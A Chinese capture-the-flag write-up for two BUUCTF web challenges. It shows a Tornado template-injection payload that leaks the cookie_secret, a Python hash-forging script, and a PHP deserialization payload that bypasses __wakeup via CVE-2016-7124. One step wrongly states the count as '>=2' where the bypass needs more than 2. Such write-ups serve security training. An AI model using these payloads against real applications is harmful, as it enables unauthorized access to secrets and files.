BUUCTF_Web——[护网杯 2018]easy_tornado、[极客大挑战 2019]PHP(CVE-2016-7124)

一、[护网杯 2018]easy_tornado

题目提示为tornado的模板注入

在这里插入图片描述
打开提示文件,发现访问文件需要文件名和文件哈希

hint.txt提示了filehash的计算公式,而cookie_secret未知

在这里插入图片描述
flag.txt提示了flag的目录
在这里插入图片描述
尝试访问flag,随便给一个哈希值,查看报错情况

在这里插入图片描述
这里确实是tornado的模板注入,构造变量

msg={
    
    {
    
    handler.settings}}

得到了cookie_secret,可以计算md5了

在这里插入图片描述
由于tornado是基于Python,因此选用Python完成md5加密

以下是Python3代码:

import hashlib
cookie_secret = 'd82987f7-d38a-4b13-9487-2681dd17c8cc'
filename = '/fllllllllllllag'

#filename部分
result = hashlib.md5()
result.update(filename.encode('utf-8'))
r1=result.hexdigest()

#全部
result = hashlib.md5()
result.update((cookie_secret+r1).encode('utf-8'))

print(result.hexdigest())

访问即可得到FLAG
在这里插入图片描述

二、[极客大挑战 2019]PHP(CVE-2016-7124)

访问环境,提示网页有备份

在这里插入图片描述
尝试多次,如.bak后,发现是www.zip,下载

在这里插入图片描述
阅读class.phpindex.php文件

在这里插入图片描述
在这里插入图片描述
这是一道反序列化的题目,首先需要通过给select赋值一个序列化对象

该对象类名叫Name,此对象包含username=adminpassword=100

但是在赋值后有__wakeup()函数会改变username的值,因此需要绕过__wakeup()方法

PHP漏洞CVE-2016-7124:
若在对象的魔法函数中存在的__wakeup()方法,那么之后再调用 unserilize()方法进行反序列化之前则会先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

编写PHP代码如下:

<?php
    class  Name{
    
    
        private $username = "admin";
        private $password = 100;
    }
    $Name = new Name;
    echo serialize($Name);
?>

获得序列化结果

O:4:"Name":2:{
    
    s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

序列化对象构成如下:

O:类名长度:类名:变量个数:{s:变量1名长度:变量1名;s:变量1值长度:变量1值(str);s:变量2名长度:变量2名;i:变量2值(int);......}

需要对以下内容修改:

  1. 更改变量个数>=2,为了绕过__wakeup()
  2. 将变量名的空格修改为%00,为了URL编码空格
?select=O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

GET即可得到得到FLAG

在这里插入图片描述

欢迎在评论区留言
感谢浏览

猜你喜欢

转载自blog.csdn.net/Xxy605/article/details/108934395